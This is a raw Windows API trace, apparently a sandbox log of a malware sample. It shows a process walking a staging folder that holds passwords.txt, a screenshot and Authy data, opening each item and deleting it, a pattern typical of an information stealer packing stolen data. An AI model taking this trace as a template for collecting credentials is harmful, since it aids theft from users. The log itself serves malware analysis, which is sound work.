0x2112a08 [0102.114] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112d20 | out: hHeap=0x2110000) returned 1 [0102.114] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.114] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116928 [0102.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2116928, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.114] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116928 | out: hHeap=0x2110000) returned 1 [0102.114] PathMatchSpecW (pszFile="passwords.txt", pszSpec="*.*") returned 1 [0102.114] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.114] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430600 [0102.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\passwords.txt", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0102.114] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3d) returned 0x2112db0 [0102.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\passwords.txt", cchWideChar=61, lpMultiByteStr=0x2112db0, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\passwords.txt", lpUsedDefaultChar=0x0) returned 61 [0102.114] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112978 [0102.114] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112db0 | out: hHeap=0x2110000) returned 1 [0102.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\passwords.txt", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0102.114] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xf) returned 0x21130a8 [0102.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\passwords.txt", cchWideChar=15, lpMultiByteStr=0x21130a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\passwords.txt", lpUsedDefaultChar=0x0) returned 15 [0102.115] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130a8 | out: hHeap=0x2110000) returned 1 [0102.115] GetDesktopWindow () returned 0x10010 [0102.115] GetTickCount () returned 0x15aaac3 [0102.115] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" [0102.115] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\" [0102.115] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\", lpString2="screenshot.jpg" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\screenshot.jpg") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\screenshot.jpg" [0102.115] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0102.115] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0102.115] lstrcatW (in: lpString1="\\", lpString2="screenshot.jpg" | out: lpString1="\\screenshot.jpg") returned="\\screenshot.jpg" [0102.116] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\screenshot.jpg", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0102.116] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3e) returned 0x2112bb8 [0102.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\screenshot.jpg", cchWideChar=62, lpMultiByteStr=0x2112bb8, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\screenshot.jpg", lpUsedDefaultChar=0x0) returned 62 [0102.116] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112e40 [0102.116] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112bb8 | out: hHeap=0x2110000) returned 1 [0102.116] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.116] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116938 [0102.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2116938, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.116] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116938 | out: hHeap=0x2110000) returned 1 [0102.116] PathMatchSpecW (pszFile="screenshot.jpg", pszSpec="*.*") returned 1 [0102.116] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.116] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430628 [0102.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\screenshot.jpg", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0102.116] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3e) returned 0x2112b28 [0102.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\screenshot.jpg", cchWideChar=62, lpMultiByteStr=0x2112b28, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\screenshot.jpg", lpUsedDefaultChar=0x0) returned 62 [0102.116] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112858 [0102.116] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b28 | out: hHeap=0x2110000) returned 1 [0102.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\screenshot.jpg", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.116] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x21130a8 [0102.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\screenshot.jpg", cchWideChar=16, lpMultiByteStr=0x21130a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\screenshot.jpg", lpUsedDefaultChar=0x0) returned 16 [0102.116] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130a8 | out: hHeap=0x2110000) returned 1 [0102.117] GetDesktopWindow () returned 0x10010 [0102.117] GetTickCount () returned 0x15aaac3 [0102.142] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" [0102.142] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\" [0102.142] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\", lpString2="Soft" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft" [0102.142] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0102.142] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0102.142] lstrcatW (in: lpString1="\\", lpString2="Soft" | out: lpString1="\\Soft") returned="\\Soft" [0102.142] lstrcmpW (lpString1="Soft", lpString2=".") returned 1 [0102.142] lstrcmpW (lpString1="Soft", lpString2="..") returned 1 [0102.142] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft" [0102.142] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\*.*" [0102.143] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3306441c, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x3306441c, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x33075616, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0102.143] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft" [0102.143] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\" [0102.143] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\." [0102.143] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Soft" | out: lpString1="\\Soft") returned="\\Soft" [0102.143] lstrcatW (in: lpString1="\\Soft", lpString2="\\" | out: lpString1="\\Soft\\") returned="\\Soft\\" [0102.143] lstrcatW (in: lpString1="\\Soft\\", lpString2="." | out: lpString1="\\Soft\\.") returned="\\Soft\\." [0102.143] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.143] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3306441c, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x3306441c, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x33075616, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.143] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft" [0102.143] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\" [0102.143] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\.." [0102.143] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Soft" | out: lpString1="\\Soft") returned="\\Soft" [0102.143] lstrcatW (in: lpString1="\\Soft", lpString2="\\" | out: lpString1="\\Soft\\") returned="\\Soft\\" [0102.143] lstrcatW (in: lpString1="\\Soft\\", lpString2=".." | out: lpString1="\\Soft\\..") returned="\\Soft\\.." [0102.143] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.143] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.143] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3306583f, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x3306583f, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x3306583f, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Authy", cAlternateFileName="")) returned 1 [0102.143] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft" [0102.143] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\" [0102.143] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\", lpString2="Authy" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy" [0102.144] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Soft" | out: lpString1="\\Soft") returned="\\Soft" [0102.144] lstrcatW (in: lpString1="\\Soft", lpString2="\\" | out: lpString1="\\Soft\\") returned="\\Soft\\" [0102.144] lstrcatW (in: lpString1="\\Soft\\", lpString2="Authy" | out: lpString1="\\Soft\\Authy") returned="\\Soft\\Authy" [0102.144] lstrcmpW (lpString1="Authy", lpString2=".") returned 1 [0102.144] lstrcmpW (lpString1="Authy", lpString2="..") returned 1 [0102.144] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy" [0102.144] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy\\*.*" [0102.144] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3306583f, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x3306583f, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x3306583f, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d16d8 [0102.144] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy" [0102.144] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy\\" [0102.144] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy\\." [0102.144] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Soft\\Authy" | out: lpString1="\\Soft\\Authy") returned="\\Soft\\Authy" [0102.144] lstrcatW (in: lpString1="\\Soft\\Authy", lpString2="\\" | out: lpString1="\\Soft\\Authy\\") returned="\\Soft\\Authy\\" [0102.144] lstrcatW (in: lpString1="\\Soft\\Authy\\", lpString2="." | out: lpString1="\\Soft\\Authy\\.") returned="\\Soft\\Authy\\." [0102.144] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.144] FindNextFileW (in: hFindFile=0x6d16d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3306583f, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x3306583f, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x3306583f, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.144] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy" [0102.144] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy\\" [0102.145] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy\\.." [0102.145] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Soft\\Authy" | out: lpString1="\\Soft\\Authy") returned="\\Soft\\Authy" [0102.145] lstrcatW (in: lpString1="\\Soft\\Authy", lpString2="\\" | out: lpString1="\\Soft\\Authy\\") returned="\\Soft\\Authy\\" [0102.145] lstrcatW (in: lpString1="\\Soft\\Authy\\", lpString2=".." | out: lpString1="\\Soft\\Authy\\..") returned="\\Soft\\Authy\\.." [0102.145] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.145] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.145] FindNextFileW (in: hFindFile=0x6d16d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3306583f, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x3306583f, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x3306583f, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.145] FindClose (in: hFindFile=0x6d16d8 | out: hFindFile=0x6d16d8) returned 1 [0102.145] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0102.145] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3a) returned 0x2112810 [0102.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy", cchWideChar=58, lpMultiByteStr=0x2112810, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy", lpUsedDefaultChar=0x0) returned 58 [0102.145] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112c90 [0102.145] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112810 | out: hHeap=0x2110000) returned 1 [0102.145] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.145] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x21169a8 [0102.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x21169a8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.145] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169a8 | out: hHeap=0x2110000) returned 1 [0102.145] PathMatchSpecW (pszFile="Authy", pszSpec="*.*") returned 1 [0102.145] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.145] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430600 [0102.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0102.146] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3a) returned 0x2112df8 [0102.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy", cchWideChar=58, lpMultiByteStr=0x2112df8, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy", lpUsedDefaultChar=0x0) returned 58 [0102.146] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112a50 [0102.146] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112df8 | out: hHeap=0x2110000) returned 1 [0102.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Soft\\Authy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0102.146] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113000 [0102.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Soft\\Authy", cchWideChar=12, lpMultiByteStr=0x2113000, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Soft\\Authy", lpUsedDefaultChar=0x0) returned 12 [0102.146] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113000 | out: hHeap=0x2110000) returned 1 [0102.146] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\soft\\authy"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.146] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a50 | out: hHeap=0x2110000) returned 1 [0102.146] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430600 | out: hHeap=0x2110000) returned 1 [0102.146] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.146] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\Authy" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\soft\\authy")) returned 0 [0102.146] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c90 | out: hHeap=0x2110000) returned 1 [0102.146] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: 